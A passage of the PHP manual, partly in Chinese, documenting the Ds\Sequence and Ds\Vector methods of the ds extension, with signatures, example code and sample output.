var_dump($sequence->find("a")); // 0
var_dump($sequence->find("b")); // false
var_dump($sequence->find("1")); // false
var_dump($sequence->find(1)); // 1
?>

以上示例的输出类似于：

int(0)
bool(false)
bool(false)
int(1)

User Contributed Notes

There are no user contributed notes for this page.


Returns the first value in the sequence

  • ? Ds\Sequence::find
  • Ds\Sequence::get ?
  • PHP Manual
  • Ds\Sequence
  • Returns the first value in the sequence

Ds\Sequence::first

(PECL ds >= 1.0.0)

Ds\Sequence::first — Returns the first value in the sequence

说明

abstract public Ds\Sequence::first(): mixed

Returns the first value in the sequence.

参数

此函数没有参数。

返回值

The first value in the sequence.

错误／异常

UnderflowException if empty.

示例

Example #1 Ds\Sequence::first() example

<?php
$sequence = new \Ds\Vector([1, 2, 3]);
var_dump($sequence->first());
?>

以上示例的输出类似于：

int(1)

User Contributed Notes

There are no user contributed notes for this page.


Returns the value at a given index

  • ? Ds\Sequence::first
  • Ds\Sequence::insert ?
  • PHP Manual
  • Ds\Sequence
  • Returns the value at a given index

Ds\Sequence::get

(PECL ds >= 1.0.0)

Ds\Sequence::get — Returns the value at a given index

说明

abstract public Ds\Sequence::get(int $index): mixed

Returns the value at a given index.

参数

index

The index to access, starting at 0.

返回值

The value at the requested index.

错误／异常

OutOfRangeException if the index is not valid.

示例

Example #1 Ds\Sequence::get() example

<?php
$sequence = new \Ds\Vector(["a", "b", "c"]);

var_dump($sequence->get(0));
var_dump($sequence->get(1));
var_dump($sequence->get(2));
?>

以上示例的输出类似于：

string(1) "a"
string(1) "b"
string(1) "c"

Example #2 Ds\Sequence::get() example using array syntax

<?php
$sequence = new \Ds\Vector(["a", "b", "c"]);

var_dump($sequence[0]);
var_dump($sequence[1]);
var_dump($sequence[2]);
?>

以上示例的输出类似于：

string(1) "a"
string(1) "b"
string(1) "c"

User Contributed Notes

There are no user contributed notes for this page.


Inserts values at a given index

  • ? Ds\Sequence::get
  • Ds\Sequence::join ?
  • PHP Manual
  • Ds\Sequence
  • Inserts values at a given index

Ds\Sequence::insert

(PECL ds >= 1.0.0)

Ds\Sequence::insert — Inserts values at a given index

说明

abstract public Ds\Sequence::insert(int $index, mixed ...$values): void

Inserts values into the sequence at a given index.

参数

index

The index at which to insert. 0 <= index <= count

Note:

You can insert at the index equal to the number of values.

values

The value or values to insert.

返回值

没有返回值。

错误／异常

OutOfRangeException if the index is not valid.

示例

Example #1 Ds\Sequence::insert() example

<?php
$sequence = new \Ds\Vector();

$sequence->insert(0, "e"); // [e]
$sequence->insert(1, "f"); // [e, f]
$sequence->insert(2, "g"); // [e, f, g]
$sequence->insert(0, "a", "b"); // [a, b, e, f, g]
$sequence->insert(2, ...["c", "d"]); // [a, b, c, d, e, f, g]

var_dump($sequence);
?>

以上示例的输出类似于：

object(Ds\Vector)#1 (7) {
  [0]=>
  string(1) "a"
  [1]=>
  string(1) "b"
  [2]=>
  string(1) "c"
  [3]=>
  string(1) "d"
  [4]=>
  string(1) "e"
  [5]=>
  string(1) "f"
  [6]=>
  string(1) "g"
}

User Contributed Notes

There are no user contributed notes for this page.


Joins all values together as a string

  • ? Ds\Sequence::insert
  • Ds\Sequence::last ?
  • PHP Manual
  • Ds\Sequence
  • Joins all values together as a string

Ds\Sequence::join

(PECL ds >= 1.0.0)

Ds\Sequence::join — Joins all values together as a string

说明

abstract public Ds\Sequence::join(string $glue = ?): string

Joins all values together as a string using an optional separator between each value.

参数

glue

An optional string to separate each value.

返回值

All values of the sequence joined together as a string.

示例

Example #1 Ds\Sequence::join() example using a separator string

<?php
$sequence = new \Ds\Vector(["a", "b", "c", 1, 2, 3]);

var_dump($sequence->join("|"));
?>

以上示例的输出类似于：

string(11) "a|b|c|1|2|3"

Example #2 Ds\Sequence::join() example without a separator string

<?php
$sequence = new \Ds\Vector(["a", "b", "c", 1, 2, 3]);

var_dump($sequence->join());
?>

以上示例的输出类似于：

string(11) "abc123"

User Contributed Notes

There are no user contributed notes for this page.


Returns the last value

  • ? Ds\Sequence::join
  • Ds\Sequence::map ?
  • PHP Manual
  • Ds\Sequence
  • Returns the last value

Ds\Sequence::last

(PECL ds >= 1.0.0)

Ds\Sequence::last — Returns the last value

说明

abstract public Ds\Sequence::last(): mixed

Returns the last value in the sequence.

参数

此函数没有参数。

返回值

The last value in the sequence.

错误／异常

UnderflowException if empty.

示例

Example #1 Ds\Sequence::last() example

<?php
$sequence = new \Ds\Vector([1, 2, 3]);
var_dump($sequence->last());
?>

以上示例的输出类似于：

int(3)

User Contributed Notes

There are no user contributed notes for this page.


Returns the result of applying a callback to each value

  • ? Ds\Sequence::last
  • Ds\Sequence::merge ?
  • PHP Manual
  • Ds\Sequence
  • Returns the result of applying a callback to each value

Ds\Sequence::map

(PECL ds >= 1.0.0)

Ds\Sequence::map — Returns the result of applying a callback to each value

说明

abstract public Ds\Sequence::map(callable $callback): Ds\Sequence

Returns the result of applying a callback function to each value in the sequence.

参数

callback

callback(mixed $value): mixed

A callable to apply to each value in the sequence.

The callable should return what the new value will be in the new sequence.

返回值

The result of applying a callback to each value in the sequence.

Note:

The values of the current instance won't be affected.

示例

Example #1 Ds\Sequence::map() example

<?php
$sequence = new \Ds\Vector([1, 2, 3]);

print_r($sequence->map(function($value) { return $value * 2; }));
print_r($sequence);
?>

以上示例的输出类似于：

Ds\Vector Object
(
    [0] => 2
    [1] => 4
    [2] => 6
)
Ds\Vector Object
(
    [0] => 1
    [1] => 2
    [2] => 3
)

User Contributed Notes

There are no user contributed notes for this page.


Returns the result of adding all given values to the sequence

  • ? Ds\Sequence::map
  • Ds\Sequence::pop ?
  • PHP Manual
  • Ds\Sequence
  • Returns the result of adding all given values to the sequence

Ds\Sequence::merge

(PECL ds >= 1.0.0)

Ds\Sequence::merge — Returns the result of adding all given values to the sequence

说明

abstract public Ds\Sequence::merge(mixed $values): Ds\Sequence

Returns the result of adding all given values to the sequence.

参数

values

A traversable object or an array.

返回值

The result of adding all given values to the sequence, effectively the same as adding the values to a copy, then returning that copy.

Note:

The current instance won't be affected.

示例

Example #1 Ds\Sequence::merge() example

<?php
$sequence = new \Ds\Vector([1, 2, 3]);

var_dump($sequence->merge([4, 5, 6]));
var_dump($sequence);
?>

以上示例的输出类似于：

object(Ds\Vector)#2 (6) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
  [3]=>
  int(4)
  [4]=>
  int(5)
  [5]=>
  int(6)
}
object(Ds\Vector)#1 (3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

User Contributed Notes

There are no user contributed notes for this page.


Removes and returns the last value

  • ? Ds\Sequence::merge
  • Ds\Sequence::push ?
  • PHP Manual
  • Ds\Sequence
  • Removes and returns the last value

Ds\Sequence::pop

(PECL ds >= 1.0.0)

Ds\Sequence::pop — Removes and returns the last value

说明

abstract public Ds\Sequence::pop(): mixed

Removes and returns the last value.

参数

此函数没有参数。

返回值

The removed last value.

错误／异常

UnderflowException if empty.

示例

Example #1 Ds\Sequence::pop() example

<?php
$sequence = new \Ds\Vector([1, 2, 3]);

var_dump($sequence->pop());
var_dump($sequence->pop());
var_dump($sequence->pop());
?>

以上示例的输出类似于：

int(3)
int(2)
int(1)

User Contributed Notes

There are no user contributed notes for this page.


Adds values to the end of the sequence

  • ? Ds\Sequence::pop
  • Ds\Sequence::reduce ?
  • PHP Manual
  • Ds\Sequence
  • Adds values to the end of the sequence

Ds\Sequence::push

(PECL ds >= 1.0.0)

Ds\Sequence::push — Adds values to the end of the sequence

说明

abstract public Ds\Sequence::push(mixed ...$values): void

Adds values to the end of the sequence.

参数

values

The values to add.

返回值

没有返回值。

示例

Example #1 Ds\Sequence::push() example

<?php
$sequence = new \Ds\Vector();

$sequence->push("a");
$sequence->push("b");
$sequence->push("c", "d");
$sequence->push(...["e", "f"]);

print_r($sequence);
?>

以上示例的输出类似于：

Ds\Vector Object
(
    [0] => a
    [1] => b
    [2] => c
    [3] => d
    [4] => e
    [5] => f
)

User Contributed Notes

There are no user contributed notes for this page.


Reduces the sequence to a single value using a callback function

  • ? Ds\Sequence::push
  • Ds\Sequence::remove ?
  • PHP Manual
  • Ds\Sequence
  • Reduces the sequence to a single value using a callback function

Ds\Sequence::reduce

(PECL ds >= 1.0.0)

Ds\Sequence::reduce — Reduces the sequence to a single value using a callback function

说明

abstract public Ds\Sequence::reduce(callable $callback, mixed $initial = ?): mixed

Reduces the sequence to a single value using a callback function.

参数

callback
callback(mixed $carry, mixed $value): mixed
carry

The return value of the previous callback, or initial if it's the first iteration.

value

The value of the current iteration.

initial

The initial value of the carry value. Can be null.

返回值

The return value of the final callback.

示例

Example #1 Ds\Sequence::reduce() with initial value example

<?php
$sequence = new \Ds\Vector([1, 2, 3]);

$callback = function($carry, $value) {
return $carry * $value;
};

var_dump($sequence->reduce($callback, 5));

// Iterations:
//
// $carry = $initial = 5
//
// $carry = $carry * 1 = 5
// $carry = $carry * 2 = 10
// $carry = $carry * 3 = 30
?>

以上示例的输出类似于：

int(30)

Example #2 Ds\Sequence::reduce() without an initial value example

<?php
$sequence = new \Ds\Vector([1, 2, 3]);

var_dump($sequence->reduce(function($carry, $value) {
return $carry + $value + 5;
}));

// Iterations:
//
// $carry = $initial = null
//
// $carry = $carry + 1 + 5 = 6
// $carry = $carry + 2 + 5 = 13
// $carry = $carry + 3 + 5 = 21
?>

以上示例的输出类似于：

int(21)

User Contributed Notes

There are no user contributed notes for this page.


Removes and returns a value by index

  • ? Ds\Sequence::reduce
  • Ds\Sequence::reverse ?
  • PHP Manual
  • Ds\Sequence
  • Removes and returns a value by index

Ds\Sequence::remove

(PECL ds >= 1.0.0)

Ds\Sequence::remove — Removes and returns a value by index

说明

abstract public Ds\Sequence::remove(int $index): mixed

Removes and returns a value by index.

参数

index

The index of the value to remove.

返回值

The value that was removed.

错误／异常

OutOfRangeException if the index is not valid.

示例

Example #1 Ds\Sequence::remove() example

<?php
$sequence = new \Ds\Vector(["a", "b", "c"]);

var_dump($sequence->remove(1));
var_dump($sequence->remove(0));
var_dump($sequence->remove(0));
?>

以上示例的输出类似于：

string(1) "b"
string(1) "a"
string(1) "c"

User Contributed Notes

There are no user contributed notes for this page.


Reverses the sequence in-place

  • ? Ds\Sequence::remove
  • Ds\Sequence::reversed ?
  • PHP Manual
  • Ds\Sequence
  • Reverses the sequence in-place

Ds\Sequence::reverse

(PECL ds >= 1.0.0)

Ds\Sequence::reverse — Reverses the sequence in-place

说明

abstract public Ds\Sequence::reverse(): void

Reverses the sequence in-place.

参数

此函数没有参数。

返回值

没有返回值。

示例

Example #1 Ds\Sequence::reverse() example

<?php
$sequence = new \Ds\Vector(["a", "b", "c"]);
$sequence->reverse();

print_r($sequence);
?>

以上示例的输出类似于：

Ds\Vector Object
(
    [0] => c
    [1] => b
    [2] => a
)

User Contributed Notes

There are no user contributed notes for this page.


Returns a reversed copy

  • ? Ds\Sequence::reverse
  • Ds\Sequence::rotate ?
  • PHP Manual
  • Ds\Sequence
  • Returns a reversed copy

Ds\Sequence::reversed

(PECL ds >= 1.0.0)

Ds\Sequence::reversed — Returns a reversed copy

说明

abstract public Ds\Sequence::reversed(): Ds\Sequence

Returns a reversed copy of the sequence.

参数

此函数没有参数。

返回值

A reversed copy of the sequence.

Note:

The current instance is not affected.

示例

Example #1 Ds\Sequence::reversed() example

<?php
$sequence = new \Ds\Vector(["a", "b", "c"]);

print_r($sequence->reversed());
print_r($sequence);
?>

以上示例的输出类似于：

Ds\Vector Object
(
    [0] => c
    [1] => b
    [2] => a
)
Ds\Vector Object
(
    [0] => a
    [1] => b
    [2] => c
)

User Contributed Notes

There are no user contributed notes for this page.


Rotates the sequence by a given number of rotations

  • ? Ds\Sequence::reversed
  • Ds\Sequence::set ?
  • PHP Manual
  • Ds\Sequence
  • Rotates the sequence by a given number of rotations

Ds\Sequence::rotate

(PECL ds >= 1.0.0)

Ds\Sequence::rotate — Rotates the sequence by a given number of rotations

说明

abstract public Ds\Sequence::rotate(int $rotations): void

Rotates the sequence by a given number of rotations, which is equivalent to successively calling $sequence->push($sequence->shift()) if the number of rotations is positive, or $sequence->unshift($sequence->pop()) if negative.

参数

rotations

The number of times the sequence should be rotated.

返回值

没有返回值。. The sequence of the current instance will be rotated.

示例

Example #1 Ds\Sequence::rotate() example

<?php
$sequence = new \Ds\Vector(["a", "b", "c", "d"]);

$sequence->rotate(1); // "a" is shifted, then pushed.
print_r($sequence);

$sequence->rotate(2); // "b" and "c" are both shifted, the pushed.
print_r($sequence);
?>

以上示例的输出类似于：

(
    [0] => b
    [1] => c
    [2] => d
    [3] => a
)
Ds\Vector Object
(
    [0] => d
    [1] => a
    [2] => b
    [3] => c
)

User Contributed Notes

There are no user contributed notes for this page.


Updates a value at a given index

  • ? Ds\Sequence::rotate
  • Ds\Sequence::shift ?
  • PHP Manual
  • Ds\Sequence
  • Updates a value at a given index

Ds\Sequence::set

(PECL ds >= 1.0.0)

Ds\Sequence::set — Updates a value at a given index

说明

abstract public Ds\Sequence::set(int $index, mixed $value): void

Updates a value at a given index.

参数

index

The index of the value to update.

value

The new value.

返回值

没有返回值。

错误／异常

OutOfRangeException if the index is not valid.

示例

Example #1 Ds\Sequence::set() example

<?php
$sequence = new \Ds\Vector(["a", "b", "c"]);

$sequence->set(1, "_");
print_r($sequence);
?>

以上示例的输出类似于：

Ds\Vector Object
(
    [0] => a
    [1] => _
    [2] => c
)

Example #2 Ds\Sequence::set() example using array syntax

<?php
$sequence = new \Ds\Vector(["a", "b", "c"]);

$sequence[1] = "_";
print_r($sequence);
?>

以上示例的输出类似于：

Ds\Vector Object
(
    [0] => a
    [1] => _
    [2] => c
)

User Contributed Notes

There are no user contributed notes for this page.


Removes and returns the first value

  • ? Ds\Sequence::set
  • Ds\Sequence::slice ?
  • PHP Manual
  • Ds\Sequence
  • Removes and returns the first value

Ds\Sequence::shift

(PECL ds >= 1.0.0)

Ds\Sequence::shift — Removes and returns the first value

说明

abstract public Ds\Sequence::shift(): mixed

Removes and returns the first value.

参数

此函数没有参数。

返回值

The first value, which was removed.

错误／异常

UnderflowException if empty.

示例

Example #1 Ds\Sequence::shift() example

<?php
$sequence = new \Ds\Vector(["a", "b", "c"]);

var_dump($sequence->shift());
var_dump($sequence->shift());
var_dump($sequence->shift());
?>

以上示例的输出类似于：

string(1) "a"
string(1) "b"
string(1) "c"

User Contributed Notes

There are no user contributed notes for this page.


Returns a sub-sequence of a given range

  • ? Ds\Sequence::shift
  • Ds\Sequence::sort ?
  • PHP Manual
  • Ds\Sequence
  • Returns a sub-sequence of a given range

Ds\Sequence::slice

(PECL ds >= 1.0.0)

Ds\Sequence::slice — Returns a sub-sequence of a given range

说明

abstract public Ds\Sequence::slice(int $index, int $length = ?): Ds\Sequence

Creates a sub-sequence of a given range.

参数

index

The index at which the sub-sequence starts.

If positive, the sequence will start at that index in the sequence. If negative, the sequence will start that far from the end.

length

If a length is given and is positive, the resulting sequence will have up to that many values in it. If the length results in an overflow, only values up to the end of the sequence will be included. If a length is given and is negative, the sequence will stop that many values from the end. If a length is not provided, the resulting sequence will contain all values between the index and the end of the sequence.

返回值

A sub-sequence of the given range.

示例

Example #1 Ds\Sequence::slice() example

<?php
$sequence = new \Ds\Vector(["a", "b", "c", "d", "e"]);

// Slice from 2 onwards
print_r($sequence->slice(2));

// Slice from 1, for a length of 3
print_r($sequence->slice(1, 3));

// Slice from 1 onwards
print_r($sequence->slice(1));

// Slice from 2 from the end onwards
print_r($sequence->slice(-2));

// Slice from 1 to 1 from the end
print_r($sequence->slice(1, -1));
?>

以上示例的输出类似于：

Ds\Vector Object
(
    [0] => c
    [1] => d
    [2] => e
)
Ds\Vector Object
(
    [0] => b
    [1] => c
    [2] => d
)
Ds\Vector Object
(
    [0] => b
    [1] => c
    [2] => d
    [3] => e
)
Ds\Vector Object
(
    [0] => d
    [1] => e
)
Ds\Vector Object
(
    [0] => b
    [1] => c
    [2] => d
)

User Contributed Notes

There are no user contributed notes for this page.


Sorts the sequence in-place

  • ? Ds\Sequence::slice
  • Ds\Sequence::sorted ?
  • PHP Manual
  • Ds\Sequence
  • Sorts the sequence in-place

Ds\Sequence::sort

(PECL ds >= 1.0.0)

Ds\Sequence::sort — Sorts the sequence in-place

说明

abstract public Ds\Sequence::sort(callable $comparator = ?): void

Sorts the sequence in-place, using an optional comparator function.

参数

comparator

在第一个参数小于，等于或大于第二个参数时，该比较函数必须相应地返回一个小于，等于或大于 0 的整数。

callback(mixed $a, mixed $b): int
Caution

从比较函数中返回非整数值，例如 float，将导致内部强制转换为 callback 返回值为 int。因此，诸如 0.99 和 0.1 之类的值都将被转换为整数值 0，将这些值比较的话将会是相等。

返回值

没有返回值。

示例

Example #1 Ds\Sequence::sort() example

<?php
$sequence = new \Ds\Vector([4, 5, 1, 3, 2]);
$sequence->sort();

print_r($sequence);
?>

以上示例的输出类似于：

Ds\Vector Object
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
    [4] => 5
)

Example #2 Ds\Sequence::sort() example using a comparator

<?php
$sequence = new \Ds\Vector([4, 5, 1, 3, 2]);

$sequence->sort(function($a, $b) {
return $b <=> $a;
});

print_r($sequence);
?>

以上示例的输出类似于：

Ds\Vector Object
(
    [0] => 5
    [1] => 4
    [2] => 3
    [3] => 2
    [4] => 1
)

User Contributed Notes

There are no user contributed notes for this page.


Returns a sorted copy

  • ? Ds\Sequence::sort
  • Ds\Sequence::sum ?
  • PHP Manual
  • Ds\Sequence
  • Returns a sorted copy

Ds\Sequence::sorted

(PECL ds >= 1.0.0)

Ds\Sequence::sorted — Returns a sorted copy

说明

abstract public Ds\Sequence::sorted(callable $comparator = ?): Ds\Sequence

Returns a sorted copy, using an optional comparator function.

参数

comparator

在第一个参数小于，等于或大于第二个参数时，该比较函数必须相应地返回一个小于，等于或大于 0 的整数。

callback(mixed $a, mixed $b): int
Caution

从比较函数中返回非整数值，例如 float，将导致内部强制转换为 callback 返回值为 int。因此，诸如 0.99 和 0.1 之类的值都将被转换为整数值 0，将这些值比较的话将会是相等。

返回值

Returns a sorted copy of the sequence.

示例

Example #1 Ds\Sequence::sorted() example

<?php
$sequence = new \Ds\Vector([4, 5, 1, 3, 2]);

print_r($sequence->sorted());
?>

以上示例的输出类似于：

Ds\Vector Object
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
    [4] => 5
)

Example #2 Ds\Sequence::sorted() example using a comparator

<?php
$sequence = new \Ds\Vector([4, 5, 1, 3, 2]);

$sorted = $sequence->sorted(function($a, $b) {
return $b <=> $a;
});

print_r($sorted);
?>

以上示例的输出类似于：

Ds\Vector Object
(
    [0] => 5
    [1] => 4
    [2] => 3
    [3] => 2
    [4] => 1
)

User Contributed Notes

There are no user contributed notes for this page.


Returns the sum of all values in the sequence

  • ? Ds\Sequence::sorted
  • Ds\Sequence::unshift ?
  • PHP Manual
  • Ds\Sequence
  • Returns the sum of all values in the sequence

Ds\Sequence::sum

(PECL ds >= 1.0.0)

Ds\Sequence::sum — Returns the sum of all values in the sequence

说明

abstract public Ds\Sequence::sum(): int|float

Returns the sum of all values in the sequence.

Note:

Arrays and objects are considered equal to zero when calculating the sum.

参数

此函数没有参数。

返回值

The sum of all the values in the sequence as either a float or int depending on the values in the sequence.

示例

Example #1 Ds\Sequence::sum() integer example

<?php
$sequence = new \Ds\Vector([1, 2, 3]);
var_dump($sequence->sum());
?>

以上示例的输出类似于：

int(6)

Example #2 Ds\Sequence::sum() float example

<?php
$sequence = new \Ds\Vector([1, 2.5, 3]);
var_dump($sequence->sum());
?>

以上示例的输出类似于：

float(6.5)

User Contributed Notes

There are no user contributed notes for this page.


Adds values to the front of the sequence

  • ? Ds\Sequence::sum
  • Ds\Vector ?
  • PHP Manual
  • Ds\Sequence
  • Adds values to the front of the sequence

Ds\Sequence::unshift

(PECL ds >= 1.0.0)

Ds\Sequence::unshift — Adds values to the front of the sequence

说明

abstract public Ds\Sequence::unshift(mixed $values = ?): void

Adds values to the front of the sequence, moving all the current values forward to make room for the new values.

参数

values

The values to add to the front of the sequence.

Note:

Multiple values will be added in the same order that they are passed.

返回值

没有返回值。

示例

Example #1 Ds\Sequence::unshift() example

<?php
$sequence = new \Ds\Vector([1, 2, 3]);

$sequence->unshift("a");
$sequence->unshift("b", "c");

print_r($sequence);
?>

以上示例的输出类似于：

Ds\Vector Object
(
    [0] => b
    [1] => c
    [2] => a
    [3] => 1
    [4] => 2
    [5] => 3
)

User Contributed Notes

There are no user contributed notes for this page.


The Vector class

(PECL ds >= 1.0.0)

简介

A Vector is a sequence of values in a contiguous buffer that grows and shrinks automatically. It's the most efficient sequential structure because a value's index is a direct mapping to its index in the buffer, and the growth factor isn't bound to a specific multiple or exponent.

Strengths

  • Supports array syntax (square brackets).
  • Uses less overall memory than an array for the same number of values.
  • Automatically frees allocated memory when its size drops low enough.
  • Capacity does not have to be a power of 2.
  • get(),
set(),
push(),
pop() are all O(1).

Weaknesses

  • shift(),
unshift(),
insert() and
remove() are all O(n).

类摘要

class Ds\Vector implements Ds\Sequence, ArrayAccess {
/* 常量 */
const int MIN_CAPACITY = 10;
/* 方法 */
public allocate(int $capacity): void
public apply(callable $callback): void
public capacity(): int
public clear(): void
public contains(mixed ...$values): bool
public copy(): Ds\Vector
public filter(callable $callback = ?): Ds\Vector
public find(mixed $value): mixed
public first(): mixed
public get(int $index): mixed
public insert(int $index, mixed ...$values): void
public isEmpty(): bool
public join(string $glue = ?): string
public last(): mixed
public map(callable $callback): Ds\Vector
public merge(mixed $values): Ds\Vector
public pop(): mixed
public push(mixed ...$values): void
public reduce(callable $callback, mixed $initial = ?): mixed
public remove(int $index): mixed
public reverse(): void
public reversed(): Ds\Vector
public rotate(int $rotations): void
public set(int $index, mixed $value): void
public shift(): mixed
public slice(int $index, int $length = ?): Ds\Vector
public sort(callable $comparator = ?): void
public sorted(callable $comparator = ?): Ds\Vector
public sum(): int|float
public toArray(): array
public unshift(mixed $values = ?): void
}

预定义常量

Ds\Vector::MIN_CAPACITY

更新日志

版本 | 说明
PECL ds 1.3.0 | The class now implements ArrayAccess.

Table of Contents

  • Ds\Vector::allocate — Allocates enough memory for a required capacity
  • Ds\Vector::apply — Updates all values by applying a callback function to each value
  • Ds\Vector::capacity — Returns the current capacity
  • Ds\Vector::clear — Removes all values
  • Ds\Vector::__construct — Creates a new instance
  • Ds\Vector::contains — Determines if the vector contains given values
  • Ds\Vector::copy — Returns a shallow copy of the vector
  • Ds\Vector::count — Returns the number of values in the collection
  • Ds\Vector::filter — Creates a new vector using a callable to determine which values to include
  • Ds\Vector::find — Attempts to find a value's index
  • Ds\Vector::first — Returns the first value in the vector
  • Ds\Vector::get — Returns the value at a given index
  • Ds\Vector::insert — Inserts values at a given index
  • Ds\Vector::isEmpty — Returns whether the vector is empty
  • Ds\Vector::join — Joins all values together as a string
  • Ds\Vector::jsonSerialize — Returns a representation that can be converted to JSON
  • Ds\Vector::last — Returns the last value
  • Ds\Vector::map — Returns the result of applying a callback to each value
  • Ds\Vector::merge — Returns the result of adding all given values to the vector
  • Ds\Vector::pop — Removes and returns the last value
  • Ds\Vector::push — Adds values to the end of the vector
  • Ds\Vector::reduce — Reduces the vector to a single value using a callback function
  • Ds\Vector::remove — Removes and returns a value by index
  • Ds\Vector::reverse — Reverses the vector in-place
  • Ds\Vector::reversed — Returns a reversed copy
  • Ds\Vector::rotate — Rotates the vector by a given number of rotations
  • Ds\Vector::set — Updates a value at a given index
  • Ds\Vector::shift — Removes and returns the first value
  • Ds\Vector::slice — Returns a sub-vector of a given range
  • Ds\Vector::sort — Sorts the vector in-place
  • Ds\Vector::sorted — Returns a sorted copy
  • Ds\Vector::sum — Returns the sum of all values in the vector
  • Ds\Vector::toArray — Converts the vector to an array
  • Ds\Vector::unshift — Adds values to the front of the vector

User Contributed Notes

There are no user contributed notes for this page.


Allocates enough memory for a required capacity

  • ? Ds\Vector
  • Ds\Vector::apply ?
  • PHP Manual
  • Ds\Vector
  • Allocates enough memory for a required capacity

Ds\Vector::allocate

(PECL ds >= 1.0.0)

Ds\Vector::allocate — Allocates enough memory for a required capacity

说明

public Ds\Vector::allocate(int $capacity): void

Ensures that enough memory is allocated for a required capacity. This removes the need to reallocate the internal as values are added.

参数

capacity

The number of values for which capacity should be allocated.

Note:

Capacity will stay the same if this value is less than or equal to the current capacity.

返回值

没有返回值。

示例

Example #1 Ds\Vector::allocate() example

<?php
$vector = new \Ds\Vector();
var_dump($vector->capacity());

$vector->allocate(100);
var_dump($vector->capacity());
?>

以上示例的输出类似于：

int(10)
int(100)

User Contributed Notes

There are no user contributed notes for this page.


Updates all values by applying a callback function to each value

  • ? Ds\Vector::allocate
  • Ds\Vector::capacity ?
  • PHP Manual
  • Ds\Vector
  • Updates all values by applying a callback function to each value

Ds\Vector::apply

(PECL ds >= 1.0.0)

Ds\Vector::apply — Updates all values by applying a callback function to each value

说明

public Ds\Vector::apply(callable $callback): void

Updates all values by applying a callback function to each value in the vector.

参数

callback

callback(mixed $value): mixed

A callable to apply to each value in the vector.

The callback should return what the value should be replaced by.

返回值

没有返回值。

示例

Example #1 Ds\Vector::apply() example

<?php
$vector = new \Ds\Vector([1, 2, 3]);
$vector->apply(function($value) { return $value * 2; });

print_r($vector);
?>

以上示例的输出类似于：

Ds\Vector Object
(
    [0] => 2
    [1] => 4
    [2] => 6
)

User Contributed Notes

There are no user contributed notes for this page.


Returns the current capacity

  • ? Ds\Vector::apply
  • Ds\Vector::clear ?
  • PHP Manual
  • Ds\Vector
  • Returns the current capacity

Ds\Vector::capacity

(PECL ds >= 1.0.0)

Ds\Vector::capacity — Returns the current capacity

说明

public Ds\Vector::capacity(): int

Returns the current capacity.

参数

此函数没有参数。

返回值

The current capacity.

示例

Example #1 Ds\Vector::capacity() example

<?php
$vector = new \Ds\Vector();
var_dump($vector->capacity());

$vector->push(...range(1, 50));
var_dump($vector->capacity());

$vector[] = "a";
var_dump($vector->capacity());
?>

以上示例的输出类似于：

int(10)
int(50)
int(75)

User Contributed Notes

There are no user contributed notes for this page.


Removes all values

  • ? Ds\Vector::capacity
  • Ds\Vector::__construct ?
  • PHP Manual
  • Ds\Vector
  • Removes all values

Ds\Vector::clear

(PECL ds >= 1.0.0)

Ds\Vector::clear — Removes all values

说明

public Ds\Vector::clear(): void

Removes all values from the vector.

参数

此函数没有参数。

返回值

没有返回值。

示例

Example #1 Ds\Vector::clear() example

<?php
$vector = new \Ds\Vector([1, 2, 3]);
print_r($vector);

$vector->clear();
print_r($vector);
?>

以上示例的输出类似于：

Ds\Vector Object
(
    [0] => 1
    [1] => 2
    [2] => 3
)
Ds\Vector Object
(
)

User Contributed Notes

There are no user contributed notes for this page.


Creates a new instance

  • ? Ds\Vector::clear
  • Ds\Vector::contains ?
  • PHP Manual
  • Ds\Vector
  • Creates a new instance

Ds\Vector::__construct

(PECL ds >= 1.0.0)

Ds\Vector::__construct — Creates a new instance

说明

public Ds\Vector::__construct(mixed $values = ?)

Creates a new instance, using either a traversable object or an array for the initial values.

参数

values

A traversable object or an array to use for the initial values.

示例

Example #1 Ds\Vector::__construct() example

<?php
$vector = new \Ds\Vector();
var_dump($vector);

$vector = new \Ds\Vector([1, 2, 3]);
var_dump($vector);
?>

以上示例的输出类似于：

object(Ds\Vector)#2 (0) {
}
object(Ds\Vector)#2 (3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

User Contributed Notes

There are no user contributed notes for this page.


Determines if the vector contains given values

  • ? Ds\Vector::__construct
  • Ds\Vector::copy ?
  • PHP Manual
  • Ds\Vector
  • Determines if the vector contains given values

Ds\Vector::contains

(PECL ds >= 1.0.0)

Ds\Vector::contains — Determines if the vector contains given values

说明

public Ds\Vector::contains(mixed ...$values): bool

Determines if the vector contains all values.

参数

values

Values to check.

返回值

false if any of the provided values are not in the vector, true otherwise.

示例

Example #1 Ds\Vector::contains() example

<?php
$vector = new \Ds\Vector(['a', 'b', 'c', 1, 2, 3]);

var_dump($vector->contains('a')); // true
var_dump($vector->contains('a', 'b')); // true
var_dump($vector->contains('c', 'd')); // false

var_dump($vector->contains(...['c', 'b', 'a'])); // true

// Always strict
var_dump($vector->contains(1)); // true
var_dump($vector->contains('1')); // false

var_dump($sequece->contains(...[])); // true
?>

以上示例的输出类似于：

bool(true)
bool(true)
bool(false)
bool(true)
bool(true)
bool(false)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Returns a shallow copy of the vector

  • ? Ds\Vector::contains
  • Ds\Vector::count ?
  • PHP Manual
  • Ds\Vector
  • Returns a shallow copy of the vector

Ds\Vector::copy

(PECL ds >= 1.0.0)

Ds\Vector::copy — Returns a shallow copy of the vector

说明

public Ds\Vector::copy(): Ds\Vector

Returns a shallow copy of the vector.

参数

此函数没有参数。

返回值

Returns a shallow copy of the vector.

示例

Example #1 Ds\Vector::copy() example

<?php
$a = new \Ds\Vector([1, 2, 3]);
$b = $a->copy();

// Updating the copy doesn't affect the original
$b->push(4);

print_r($a);
print_r($b);
?>

以上示例的输出类似于：

Ds\Vector Object
(
    [0] => 1
    [1] => 2
    [2] => 3
)
Ds\Vector Object
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
)

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of values in the collection

  • ? Ds\Vector::copy
  • Ds\Vector::filter ?
  • PHP Manual
  • Ds\Vector
  • Returns the number of values in the collection

Ds\Vector::count

(PECL ds >= 1.0.0)

Ds\Vector::count — Returns the number of values in the collection

See Countable::count()

User Contributed Notes

There are no user contributed notes for this page.


Creates a new vector using a callable to determine which values to include

  • ? Ds\Vector::count
  • Ds\Vector::find ?
  • PHP Manual
  • Ds\Vector
